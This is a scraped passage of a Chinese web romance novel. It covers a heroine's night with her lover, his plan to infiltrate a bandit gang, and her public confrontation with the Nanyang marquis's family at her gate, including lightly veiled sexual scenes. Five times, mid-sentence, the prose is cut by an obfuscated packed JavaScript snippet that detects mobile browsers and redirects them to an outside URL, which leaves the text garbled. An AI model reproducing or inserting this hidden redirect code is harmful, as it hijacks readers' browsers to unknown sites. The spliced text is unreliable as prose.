明日她得问问喻昔词! 顿了顿,她问:“是不是土匪、流寇,已经形成规模了。在集体行动的时候,会在马脖子上挂铃铛,烧杀抢掠?” 如果是这个东西,只怕要出大乱了! 毕竟,身为现代人不会不明白:一旦出现地方武装势力——集结成为团伙后,很有可能发生农民起义! 兵灾一旦生起,百姓患难,上位者的屁股就难以安稳。 武将是有建功立业的机会了,可他们这种背地里经商的,必定是首当其冲! 萧风岚眉心紧锁,道:“这一次的南陵异象,很可能就是响马盗所为。我虽将目标锁定在他们身上,苦于没有证据。” 说到这里,他脸色越发严峻:“有证据又能如何?” “这支响马盗……成长的速度非常快,规矩森严,不容易靠近。” “并且,想要通过这些证据来捉拿他们,谈何容易!” 他叹息一声,道:“我命人暗中潜伏进去,耗时也就很长了。但时至今日,不但没有任何有效的信息,反而安**去的内应全部都……没了。” 喻初晴脸色逐渐冷峻起来:“这种地方武装势力,只有两条路:一,硬实力**;二,内部瓦解!” 虽说他们俩没成亲,不算婚姻共同体,但他还是分享了很多东西给她的。 她清楚他养出来的人的实力,安插去做内应全军覆没…… 只消一想,她心有便浮上隐忧。 萧风岚颔首:“不错。但现在的情形,直接**师出无名。若强行去做,朝廷会失去民心。皇帝不可能这么做,我也不提倡。” “晴晴。”他将她的手攥进掌心,道:“我怕是很难在短时间内解决这件事了。” 显然,他选择了第二条路:内部瓦解! 并且,他大概率要以身入局! 喻初晴盯着他,沉默半晌,道:“京中无事,你安心把事情办完。重点是——” 她抬眸,与他对视:“要注意安全。” 萧风岚眼眸一亮:“你会担心我吗?” 要是在平日,她大概要戏谑说一句:我担心你妈做什么? 但此时,喻初晴说不出来。 与他四目相对半晌,她轻轻点了点头:“嗯,会的。” 萧风岚顿时喜不自胜,猛地抱住她,在日思夜想的唇瓣上狠狠亲了一口! 这才道:“晴晴,我真的好想你啊!” 喻初晴任由他亲,他还用鼻子在她脖子上蹭来蹭去,不是她想冒犯,真的很像狗! 她把干布拿过来,给他擦头发,道:“大雨天以后不要快马赶路,太危险了。” “我想见你。”萧风岚享受着她难得的温柔,说道:“但这不是全部原因,我还要跟皇帝见一面,谈一些事。” 他偏头看她:“晴晴,你要对付南阳侯府的事,我一点儿也帮不上你了。” 喻初晴没有丝毫因为他不是专门回来见自己,而感觉到不愉快。 更没有想过,要把自己计划做的事,交付给男人的帮助。 她将他的黑发分成一绺一绺儿的,一点一点地给他擦拭:“不用你帮,区区南阳侯府,我能料理。” 反而是萧风岚不高兴了:“你不问我要跟皇帝谈什么、为何要深更半夜回来谈么?” “不问。”喻初晴面色平淡,手上的动作都没有乱一下。 她都猜到了,还问什么? 萧风岚斜眸凝视她。 明明在帮他擦干头发,做着这样温情的动作,她面色却一如既往地平静,一双眼眸宛如古井无波。 刚刚心里还甜丝丝的,一瞬间他又忍不住化身怨妇,哀怨地看着她,道:“你刚才骗我的!” 喻初晴:“???” 习惯是习惯了,但她是真的很难理解这种人的脑回路! “你说你会担心我,难道不是也有点喜欢我?虽然没有我喜欢你那么多,但或多或少总有点吧?” “但你,又不关心我的事!” “你从来不管我做什么、我要去哪里,但你又接受我来找你、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446398|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿意跟我上……床。” “你的事,也不让我管,什么事你都能自己处理。” “我给你的银钱、物件儿、人手,你是一样都不用,跟我分得那么清楚!” “喻初晴,是不是在你眼里,我只有男色可言?我不过是你无聊消遣的玩物!” 听着这么一大段指控,喻初晴特别想说:是的!我就是贪图你的美色才会跟你搞在一起;男色过分撩人,才会保持这样的关系! 但,她也很清楚:但凡敢说一句实话,一会儿不是水漫金山寺、就是水淹陈塘关了! 她无奈一叹,凑过去在薄唇上亲了一下,问:“我给你最大限度的自由,你觉得我不喜欢你。我要是把你锁死,将你的一切都掌握在手心里,你是不是就会觉得窒息?” 她不喜欢别人不长嘴,自己也不会故作神秘,解释道:“我不用你给的人手,不是跟你分得清。而是我自己的够用,暂时不需要用上那些。” 这话,她说得郑重其事:“萧风岚,你应该希望我永远不要用上这些。因为那代表着,我处身险境,已经无力抵抗了,才不得不向别人求助。难不成,你更希望看到这种局面:看到我孤立无援独木难支,只能靠依赖男人才能活下去?” “那必须不能!”萧风岚当即改口:“那我还是希望你永远都能自己顶天立地,让我来小鸟依人好了!” 沟通是人与人之间的桥梁。 她这一解释,他就好受了。 既然说到这个话题,喻初晴认真说道:“萧风岚,人与人之间的关系,不可太过亲近。距离产生美,相拥太密,容易压榨彼此的空间,对方窒息、自己也难受。” “我不……”萧风岚想说“我不难受,我就想时时刻刻与你在一起”。 但她却冷静如斯,眸色平静地与他对视,道:“你现在不难受,以后呢?” 她难得说出心里最真实的感受:“萧风岚,我不想今天与你共坠爱河,未来的某一日却要慧剑斩情丝,相当于剜心割肉。我天性凉薄——或者说,我是后天养成的凉薄,总之我的感情很贫瘠,那点可怜的感情都付出了,我会万劫不复,你明白吗?” 第72章 锦被翻红浪 萧风岚怔住。 他相信她说的“天性凉薄”四个字,因为这就是他感受到的。 但她说是后天形成…… 他问:“你是被桑家那群渣滓伤透了心,所以不愿意对我付出感情了吗?” 喻初晴不想回答。 真不是! 从一开始她穿越过来,就没有给桑家人认真投入过感情。 她付出努力,养着一大家子,是因为她需要这个平台。 当初也认为,这是原主的生养之恩,在她离开侯府之前,会尽力报答。 他们的背刺,她会报复,但不会伤心难过。 但,萧风岚就是认定了这点:“桑家那群混蛋,他们自己不干好事,还害我!” 喻初晴给他擦另一缕长发,冷静地道:“人与人相处,必定会有感情的。你不问我喜欢你有多深,只要你不变,我亦可一直这样与你在一起。” 顿了顿,她补充一句:“即便是,我爹娘、哥哥他们会反对。” 最后这一句,算是给萧风岚注入了亢奋剂! 他猛地回过身来,抱住她的腰,精致如画的眉目上全都是笑意:“我当真了啊!” 有这样一句话做底气,他好像也不是非要她跟他亲口说:我亦是喜欢你的! 喻初晴没忍住也笑了笑,捏了捏他的耳朵,应:“准了。” 不多时,热水备好,萧风岚去沐浴。 弄好后躺下,理所当然要进行身体的“友好”交流。 隐隐帐幕,锦被翻红浪。 也是憋太久了,萧风岚格外凶狠,像是恨不能把她往死里弄似的。 喻初晴招架不住,指甲掐进他后颈的皮肤里,抱怨:“狗币,你能不能技术好点?” 不用怀疑,要是叫他轻点,只会挨更重的碾压,腿真能被他掰折。 但,说人技术差,他就会老实了! “晴晴,你近段时日是不是没好好练武了?筋骨都僵硬了,嗯?” 萧风岚收着点力,照顾着她的感受。 喻初晴终于舒服了,昏昏沉沉地搭话:“事多。” 顿了顿,又骂他一句:“我明天又要腰酸背痛了,你这狗东西,像坦克一样!” 以前,萧风岚不知道坦克是什么意思……好吧,其实现在他也不知道。 因为她的解释就是:一个超大的铁盒子! 无法具象化! “我要软绵绵的弄,两下子就没劲儿了,你能舒坦么?”萧风岚才不听她的。 在床上,喻初晴说的话是不能信的。 从第一次在一起开始,他吃了数不清的亏! 反正是下了床提起裤子后,她就立刻翻脸:“我会负责的”变成了“你逼我我就**”,“同意你明日去提亲”变成了“不想从南阳侯府出嫁”,“想跟你一直在一起”变成了“明天别来找我了”…… 一年多来,她在床上说的只有一点做到了:我不找别的男人。 但,他也不敢完全相信! 大坦克的炮弹越发密集,喻初晴也就说不出什么话来了。 战火绵延,攻城略池。 丢盔弃甲,一溃千里! 完事儿后,喻初晴感觉自己躺在案板上的一滩死猪肉,软趴趴、水淋淋的。 萧风岚躺了一会儿后,还能出去端热水,给她擦洗一身的汗,并处理战场。 喻初晴朦朦胧胧,浑身干爽后便昏昏欲睡。 萧风岚亲了亲她的额头,依依不舍地道:“晴晴,我进宫一趟。” 喻初晴本是懒洋洋地想要入睡了,一听这话,睁开眼睛问:“现在?” 刚才萧风岚还抱怨她不过问他的事呢,现在她就问了。 主要是因为,这不符合他的规律! 分别了那么久,才一次啊,这不是他的饭量。 明显他没吃饱,这就能进宫去了? 事出反常必有妖,她岂能没注意到! 通常说:无论男女,对方变心了,在日常相处的细枝末节里,都会有无意识的表现,端看另一方够不够细心敏锐。 当然,喻初晴不认为萧风岚有什么问题,毕竟他们地下情的时间还不算长,相处的点点滴滴也足以表明,还没到腻味的时候。 果然,他解释道:“我必须跟皇帝说响马盗的事,以及我接下来要做的事,得让他有谱。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446399|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “萧风岚。”喻初晴撑起上半身,仰头看他:“你……一定要这样做?” 萧风岚搂住她,让她趴在自己身上。 肌肤光滑又细腻,贴在一起实在是太舒服了,让他好舍不得放手。 然而,但凡没有离心,便无所谓舍得与否。 舍不得,便是舍。 他闭上眼睛,道:“晴晴放心,我还没娶你呢,不会让自己有事的。” 喻初晴盯着他半晌。 呵,说这种话他自己信吗?他都不敢与她对视! 她完全能够想见:能响马盗有关系的,能是什么安全的事? 而她,不希望他阻拦自己的任何计划,也不可能阻止他去做任何事! 最终,她只说:“无论如何,你得保重自己。首先,你我没成婚,我不需要为你守节。其次,即便成了婚,我也不会为丈夫守节!” 她的手按在他的心口上,抠着尖尖上的点点,道:“你是知道我的,今天能跟你好,来日你不在,我最多掉两滴眼泪,祭奠我们曾经的过往,不日便重新找个新的对象,与你做过的事,跟别人一样可以做!” 这话,萧风岚可就恼了。 他猛地翻身将她压在身下,眼睛都瞪红了,气道:“你敢!” 喻初晴丝毫不惧地与他对视:“有你就不找别人,你若没了,我隔天就找、马不停蹄地找、一找可能要找三个!” 她双臂攀附上他的脖子,像灵蛇一样圈住他,笑得危险又魅惑:“毕竟你这样的水准,一般男人可能真要三个才能和你比肩。我吃惯好了的,可是受不了一点苦的!” 萧风岚:“……” 他该高兴,还是愤怒? 她这难道不是在夸他这方面很强吗? 哪个男人不喜欢自己的女人对自己能力的认可? 这种认可,瞬间膨胀了他的自尊心,当即顾不上计较别的了,低头亲了亲她。 在这种情况下,他心中的念想瞬间犹如雨后春笋一般,哪里还走得动道儿? 他在她唇上呢喃问:“还有点时间,我们再来一回?” 喻初晴先问:“你见完皇帝就要走了?” 第73章 我想帮你、并且一定会帮你 “嗯。”萧风岚颔首。 喻初晴沉默,不高兴了。 但她的不高兴,一般不太明显。 感觉到她不是那么无动于衷,萧风岚又道:“要不,我多留一日,你再金屋藏娇一次?这样的话,我明天再去找皇帝,也是一样的。反正早点晚点,也不差这一日!” 喻初晴这下满意了,胳膊从他脖子上滑下来,一路往下…… 自己的小狼狗有多敏感,她完全掌握,他哪里受得住这样的刺激? 又是一塌糊涂。 闹腾到临近天亮,喻初晴实在是没有体力了,迷迷糊糊地马上睡着。 等睡醒的时候,身侧还是温暖的。 难得。 不,狗男人体热,像个小火炉似的,冬天跟他一起睡固然舒服,夏天简直受罪! “你走开点!”她有点嫌弃地推了推。 萧风岚哪里肯,不但没走开,甚至还抱紧了一些:“不走,就要抱!” 喻初晴睁眼,无奈地看着他:“你好热!” 面对她的谴责,他的回应是一下又一下地亲她,像极了想要讨好主人的狗子! “我这不明日天不亮就要走了吗?就热这一日,忍忍就过去了,嗯?” 她便没了脾气,问:“什么时辰了?” 萧风岚的手在她后背,有一下没一下地摩挲着,答道:“临近午时了。” 喻初晴还是想赖床。 纵欲过度果然不可取! 萧风岚体力是真好啊,明明他出力更多,却还是很精神,问她:“南阳侯府那些人,你处理得怎么样了?” “还早。”喻初晴的声音里带着浓重的鼻音。 他又说:“我下次指不定要什么时候才能回来……” 顿了顿,他捧着她的脸,问:“我要是几个月不回来,你会想我吗?” 喻初晴沉吟片刻,给了个他喜欢的答案:“嗯。” 萧风岚一笑,旋即又觉得不是滋味:“我要几个月才回来,你就这儿?” “不然呢?”喻初晴逐渐清醒,反问:“我打造一条金锁链,把你困在我床上,以后当我一个人的禁脔,性呶?” 萧风岚气息一窒:“我说不过你。” 但一转念,他又笑了:“其实我倒是挺乐意的!” 喻初晴嗤了一声。 片刻后,她又不与他较劲了。 他可能要几个月都不能回来,她认为自己有必要告诉他一件事:“萧风岚,处理完南阳侯府的事,我要跟爹娘他们回一趟祖籍,这一去也指不定多久。” 她伸长手臂抱住他的腰,往他怀里钻,又道:“你在外面办事多加小心,别总惦记着京中之事。保护好自己,我等你回来。” 难得她会说这样温情的话,萧风岚不知道该不该欣喜,老觉得不太得劲儿。 他拧眉问:“回祖籍,以后他们会不会不让你回来帝京了?” “不至于。”喻初晴笑了下,道:“认祖归宗吧,是有必要的。但其实我更熟悉帝京的人和事,离开小段时间是情趣,让我断了这里的一切,比较难。” 虽然她是个穿越者。 但五年来,她的根扎在了这里。 要她连根拔起移植去一个新的地方,她不是无法适应,而是不愿意放弃自己五年的苦心经营! 喻家人对她很好,她很感恩,也会对他们很好、甚至更好。 但,她不接受任何人以对她好的名义,强迫她做任何的选择! 而说出真心话还有个目的—— 安萧风岚的心! 她不确定他们这样的关系能维持多久,但她很肯定:即便是某天他不想跟她在一起了,只要他不背叛她,她就希望他好好的。 好聚好散,不要撕破脸、更不要反目成仇。 他要去做的事危险,她难免挂心,也愿意多给他一些安心。 想了想,她又道:“我先前听大哥说了一嘴,我们回祖籍一路南下。我看了地图,会经过皇朝的南陵。” “那有响马盗!”萧风岚脸色骤变:“你们最好绕开这条路!晴晴,别靠近那里!” 喻初晴没同意,但也没拒绝:“我会跟大哥商量好的。” 见他还要说服自己,她不容拒绝地说道:“萧风岚,倘使我有能够帮助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446400|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的能力,我想帮你、并且一定会帮你!” 一句话,差点让萧风岚落下泪来。 他总觉得她生性凉薄、冷酷无情,还是头一次从她嘴里听到这样动情的话! 但对喻初晴来说,这不是动情,而是她顺应本心要做的事。 她把什么事都看得很透,便不会对任何事情执着,顺其自然去做所有事,趋近于道家无为思想。 成,不与成,她都坦然接受结果。 她又说了句:“所以,倘若到时候你的事情还没有办完,需要我帮助的话,你便命人送消息来给我。” 萧风岚沉默了一会儿,才答应:“好。” 但他又不理解:“晴晴,你是喜欢我的,对么?” 若非有几分真心,她怎么会在他即将涉险的时候,说这些话? 可她喜欢他,又不愿意嫁给他! 喻初晴失声一笑,道:“我若对你一点儿喜欢也没有,怎么可能跟你维持这么久的相好关系?” 她很清楚自己的内心。 只不过,比起结婚,她更想保持现在这样的关系,于她而言更安全可靠一些! 后面的话她没说,萧风岚自是不知,只听得她说:有喜欢他! 顿时心花怒放。 “晴晴,我太喜欢你了!”他抱着她猛亲。 喻初晴满是无语:“别舔了,弄我一脸口水,像狗一样!” 萧风岚不以为意,哼哼地道:“现在你嫌弃上了?吃我口水的时候你不津津有味吗?” “你恶不恶心?”喻初晴可以接受接吻的时候这样那样,不代表在其他时候也愿意聊这个。 萧风岚非要跟她闹:“不恶心!不信你来尝尝?反正我喜欢你的,甜的!” 说着,又亲了过来,咬住她的舌头,强势跟她搅在一起。 喻初晴:“……” 已经不是恶心了,是鸡皮疙瘩掉满地! 偏偏这狗东西不觉得,强势要她认同他的话,两个人就这么在床上滚来滚去。 正滚得起劲儿的时候,合欢在外面敲门:“县主、县主!南阳侯来了,在府门外叫嚣!” 第74章 绿茶小狗情绪价值拉满 萧风岚顿了顿,低头看她,扬声问:“他们这回又用什么情由来闹?” 南阳侯府的人来**,喻初晴是一点儿也不意外。 甚至,就等着他们来闹! 合欢在外头应道:“说是县主离开侯府的时候,把侯府的银子都卷走了。闹着说,要县主将赃银吐出来还给他们!” 闻言,萧风岚一愣,像是听到了什么天大的笑话一般。 他松开喻初晴,坐起来,问:“南阳侯府从上两代开始,便没有什么建树了,一代更比一代更拉垮。到如今还没坐吃山空,有钱让你卷走?” 看起来,他比喻初晴本人还生气。 外头,木棉义愤填膺地道:“笑死!前几年侯府就穷得叮当响了,要不是咱们县主看在养育之恩的份上,想尽办法扶贫,这三年来更是时不时拿自己的银子贴补公中,他们早就连裤衩子烂了都没银子换!现在竟好意思反过来咬县主一口!” 喻初晴慢条斯理地坐了起来。 昨夜闹得厉害,她现在腰背酸软,两条腿跟面条似的绵软。 她神情倦倦:“来**也不挑日子。” 萧风岚见她这副模样,连忙给她捏肩膀揉腰眼,附和道:“就是,咱俩都多久没见了,小别胜新婚,懂不懂!” 还别说,绿茶小狗给的情绪价值,绝对是拉满的。 喻初晴笑了下,回过神来凑上去在他唇角亲了一下,道:“就你会说话。” 说着准备下床,扬声问:“除了南阳侯,还有什么人?” 合欢在门外应答:“南阳侯带着大公子前来,还带了桑家的族老。另外又找了几位大人,意思是让他们来做见证。” “哦?桑怀盛竟然没来?”喻初晴站了起来,并没有就此做出什么说法,而是道:“泡澡的药汤,备好了吗?” 床上的和谐,让她心情美妙、皮肤都要光泽一个度。 就是太累了,每次被这大坦克碾过,她都要泡个药浴,舒缓舒缓筋骨。 萧风岚很是知趣,见她要打算去泡澡,便把薄衫给她披上,小声问:“我帮你洗?” 喻初晴不怎么信任地看着他。 哪一次帮洗,不洗出天雷地火的? 信他的邪! 外头合欢木棉显然也愣住了,合欢问:“水是备着的呢。但县主,外间的事儿,不管吗?” 须知,她们主子一旦跟逍王闹在一起,这时间可就长了! 喻初晴淡淡一笑:“管呀。但不急于一时!” 她吩咐:“腾云呢,让她去请京兆府尹张大人,以及户部侍郎乔大人!让桑家那几只闹够了,吸引来了足够多的围观人群。动作不用太快,慢一点,午时之后,把那两位请出来,我再出去也不迟。” 顿了顿,补充:“从后门出去,别引人注目。” 紧接着,她又交代:“覆雨,你命人去附近几条街送消息,招来越多的人看戏越好!” 见她有条不紊地把事情吩咐下去,萧风岚不由笑了:“南阳侯这一大家子,还真的是搞不清楚状况。” 几代南阳侯的荣光,将他们养得自视过高、自私卑鄙,关键是…… 到了如今这地步,竟然还看不清现状。 **逸的生活,让他们浑然不觉自己已经处于悬崖峭壁! 而他们对上的是喻初晴! 居安思危,做任何事都留了一手,绝不让自己处身于危险境地。 什么叫运筹帷幄,决胜千里? 什么叫泰然自若、胸有成竹? 说的就是喻初晴了! 喻初晴笑了下:“就当是个玩意儿行了,你不觉着,也挺消遣的么?” 萧风岚爱死她这模样,低头在她耳旁亲了一下,道:“你开心就好。” 但她还有一件事没交代清楚,他给补充:“合欢,你们得去跟你们家老爷夫人、和几位公子说一下,让他们按兵不动!” 喻初晴回眸,冲他挑唇一笑。 见状,萧风岚赶忙凑上前,低头在那朵笑花上轻轻亲了一下,道:“晴晴,你看我这种贤内助,是不是宜家宜室,应当早点娶回家?” 喻初晴无语:“并不觉得!” 他还真的想当赘婿,玩上瘾了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446401|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不觉得就不觉得,那还是等我娶你?”萧风岚一弯腰,将她横抱起来,往净房去:“走,泡澡去!” 县主府门外。 叫门都叫了约摸半个时辰过去,桑文柏带着俩儿子闹了那么久,可对方连个门都没开! 桑怀民有些沉不住气:“父亲,他们不开门,莫非桑初晴不在府中?” 不等南阳侯开口,他自顾自地又道:“即便桑初晴不在,她那些哥哥弟弟不在,不还有她爹、她娘吗?总不可能一个人都不在!再说了,府里总有下人吧?依我看,她就是心虚了,不敢出来对峙!” 这一说,他重新振奋精神,自我肯定地振振有词:“没错,她就是心虚了!所以,只要我们坚持声讨她,就一定能让她把银子吐出来!” 话是这么说—— 可这盛夏里,日头毒辣,他们从巳时过半一直等到了午时。 大晌午的,骄阳炽烈,晒得人都要融化了。 午时临近过半,无论他们怎么叫门,就是没有人开! 他们为了要钱,那就还能忍。 但陪着来的那些族老、还有做见证的几个官员,可就觉得这是个无妄之灾了。 个个后悔不迭,寻思着自己是为何要被南阳侯三言两语冲昏头脑,跟着来蹚这一趟浑水! 随着围观群众越来越多,桑文柏积压的怒火越来越强烈。 他怒道:“给本侯把门撞开!” 对着大门,他厉声喊道:“桑初晴!本侯知道你在家,别躲在里面不开门!你以为你躲得了今日,就能躲一辈子吗!有本事偷走侯府的银子,你没有见本侯的勇气吗!” 县主府正厅内。 正好,今天是五日一聚的日子! 一如他们所想,喻家人都在家。 但先前合欢过来跟他们说,县主让他们不要应门,便没有一个吱声的。 喻慕文还笑着说了句:“晴晴这一招高明!” 终于,户部侍郎乔松海、京兆府尹张太鑫,到了! 看见他二人,南阳侯不由愣住:“二位怎么来了?” 第75章 待上浓妆好戏开场 想到上回在京兆府,张太鑫完全不给自己面子的事,桑文柏心里还很不得劲儿。 但,彼时张太鑫就敢不帮他,此时更是不把破落户南阳侯府看在眼里了。 官场就是战场。 他忽略了南阳侯的询问,朝从另一顶轿子上下来的乔松海拱手:“乔大人,下官有礼了!” “张大人有礼了!”乔松海还给桑文柏那么一丢丢脸面,略一拱手,道:“原来是南阳侯!” 桑文柏请来的几名官员,也都纷纷与乔松海张太鑫见礼。 皇帝下旨令御史台每天上门申饬南阳侯,如今南阳侯仅剩的爵位也成了个空壳。 想也知道,如今还能卖南阳侯面子的,还能有几人? 他们的官阶都不高,即便是张太鑫,也压根不把他们放在眼里。 各自见礼完了,乔松海才抽空回了南阳侯的问题:“下官乃永安县主专门请来的。” 张太鑫跟着道:“下官亦是!” 桑家几人这就想不明白了:喻初晴请他们来为她撑腰么? 她难道不是该用太子的势力吗? 怎么请到了户部? 而且,请京兆府尹来,这又是几个意思? 总不能是告官府求庇护吧? 就在此时,永安县主府的大门打开了! 喻初晴打头,后面跟着喻家一众。 再后面,下人们搬桌椅的进进出出、有条不紊。 今日她衣着不太华丽,而是选择了芍药刺绣的宽袍,一身春水绿水墨晕染的颜色。 在这烈日当空的时候,给人视觉上的清新感受,叫被日头晒了许久的众人眼前一亮,好似光看着她就凉快了不少。 合欢替她提了提裙子的前摆,她跨步走出县主府的门槛,宽大的裙摆宛如流水般垂落。 她面带笑容,走上前朝乔松海和张太鑫行了一礼:“乔大人、张大人辛苦您二位了!” 乔松海年逾四十,平素是一个十分正派、且严肃的人。 但此时,他却是捋着胡子冲喻初晴呵呵笑:“没事没事,县主从前帮咱们家的忙,可更辛苦!” 张太鑫品级没那么高,但他是相当会做人做事的:“可不么?若没有永安县主,家慈哪儿还能健在?您可是在下老母亲的救命恩人呐!” 重点是,这位永安县主超会做人! 上次在府衙处置桑怀志的事,他好不容易有个机会还点恩情,结果事后,她的婢女又送来了一盒、他母亲日日都要吃的养生药丸! 东西的价钱贵是一回事,重点是送礼送到心坎上、送到对方最需要的点,可把张太鑫感动坏了! 南阳侯在一旁听着,这才明白过来—— 难怪上回在京兆府,张太鑫不买他的账,非要判罚桑怀志赔四十两银子。 银子不算很多,却是把他的脸摁在地板上摩擦! “你把他们叫过来做甚!”桑文柏心中怒火熊熊燃烧。 想到这个逆女搅弄得举家不宁,就气不打一处来。 喻初晴原本跟乔松海和张太鑫说话的时候,是面含笑意的。 转头过来看向桑文柏的时候,立即表演了个笑容消失术! “你问我请他们来做甚?”她微微歪头,发簪上的青玉簪子上的流苏轻轻晃动,唇角勾起一抹淡淡的嘲讽:“难道不是因为侯爷带了那么多人,来堵我的门,要给我好看、甚至还要让人把我大门撞烂?我若不请人来主持公道,传出去指不定还要怎么编排我呢!” 她眸光朝桑怀民那边扫视过去,道:“毕竟上次的不孝不悌的帽子,不就是这么扣过来的?” “你……”桑文柏又生气,又无法理解:“你怎么会找户部侍郎乔松海来?” 找京兆尹,也算正常。 一旦他真让人撞开永安县主府的大门,她就可以告京兆尹。 虽然, 他不怎么放在眼里就是了! 但—— 请乔松海,他无法理解。 一来乔松海的品阶高,为人比较中立,平日也不会管这些事;二则,她要找依仗,找太子难道不是更好吗? 喻初晴理直气壮地道:“你们不是说,我偷了你们南阳侯府的银子吗?户部乃为朝廷管钱的,乔大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446402|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人更是在理账上有极高的本领。我便请他过来,帮我做个公证,岂非很合理?” 桑文柏气息一窒。 他忽然发现:这个养了十七年的女儿,他当真从未认识过她! 她是什么时候悄悄结交了乔松海和张太鑫的? 甚至,这两人都说她是恩人! 那她是什么时候施恩的? 一如她是什么时候悄悄救了太子、成了太子的救命恩人,他们一无所知一样…… 满朝文武中,不会还有更多同样的人,都是受过她恩情的,以后都会站出来帮她吧? 此时府里的下人已经搬出来了好些桌椅,喻初晴转身,做了个请的姿势:“乔大人,请上座!” “张大人,请您这边坐下,先喝一碗冰镇酸梅汤,解解暑气!” 两人按照她的安排,各自落座。 乔松海坐在一张书案前,下人端来一方托盘,放着酸梅汤和两样清热解暑的小食:“乔大人,请!” 而张太鑫则是坐在另一边的圈椅上,下人把吃的喝的,放到了茶几上。 喻初晴转头看向喻慕文:“三哥,有劳你招待一下张大人。” 茶几另一边的圈椅,便是留给陪客的。 “好。”一身青衫的书生,手握佛珠走到张太鑫面前行礼:“张大人,学生失礼了!” 张太鑫连忙站起来,笑呵呵地道:“三公子客气了,快坐快坐!” 眼前这位可是如今炙手可热的帝京第一才子,国子监祭酒与司业——一把手二把**着收的学生,只要自己不出差错,入朝为官是迟早的事! 有这样一位长袖善舞、八面玲珑的妹妹,喻慕文的前途不可限量。 以后指不定自己见了喻慕文,还得行礼自称“下官”呢! 喻初晴又将自己的父母亲、哥哥弟弟都安置坐下了。 没有其他人的座位。 她转身看向南阳侯,道:“你们的诉求是,我过去帮侯夫人打理中馈的时候,偷了南阳侯府的银子,对吧?” 待上浓妆好戏开场。 她、要、开、撕、了! 第76章 谁道德**谁,还不一定呢! 桑文柏还没说话,桑怀民急切地站出来说道:“没错!所以你是知道我们在外面喊门喊了半天,为什么现在才开门!” 张口便是先指责别人,这便是桑家人的特色。 “我高兴,我乐意呀。”喻初晴满脸的难以理解,一脸惊奇地看向其他人,问:“我家大门,我愿意开就开,不愿意就不开呀!你这么着急想开门,去开你家的呀!大家说,是不是这个道理?” 桑怀民一窒。 其他人:“……” 有些吃瓜群众开始偷笑。 好滑稽,但好有道理肿么肥四! 不得不说,永安县主这人虽然不显得柔弱,但看着一点儿也不凶,挺温和的一个人。 说话的语气也是相当和气的,让人很舒服。 但,她就是很会说话啊! 桑怀民被众人嘲笑,更生气了,斥责道:“父亲在外面等了你一个多时辰,这么热的天,你是故意刁难父亲!” “哦。”喻初晴不痛不痒,摇着手中的绣金丝团扇,道:“难道是我叫他来这里晒的吗?桑怀民你好不好笑,简直是强盗逻辑有没有?你们来找我茬,还要怪我没给你们好吃好喝供着、没跪着舔你们的鞋子呗?” 桑怀民噎住。 其他人:“……” 吃瓜群众开始不客气地笑出声来了! 甚至有人看热闹不嫌事大,大声说了句:“没错!就是强盗逻辑,没见过这么强词夺理的,南阳侯府的大公子,就只差当街**了!” 喻初晴转头,看向那些陪着来的族老、和官员,道:“诸位也不要用这种眼神看我呀。毕竟,将你们叫来这里**儿的人,可不是我!谁喊你们来的,就是谁让你们在这里晒太阳的!” 她捏着扇子一摊手:“喏,让你们在这里晒了那么久,南阳侯可是为你们准备一点喝的没有?” 众人面色铁青! 其他人:“……” 永安县主的嘴皮子,好厉害啊! 轻描淡写、三言两语,分化敌人内部,高招! 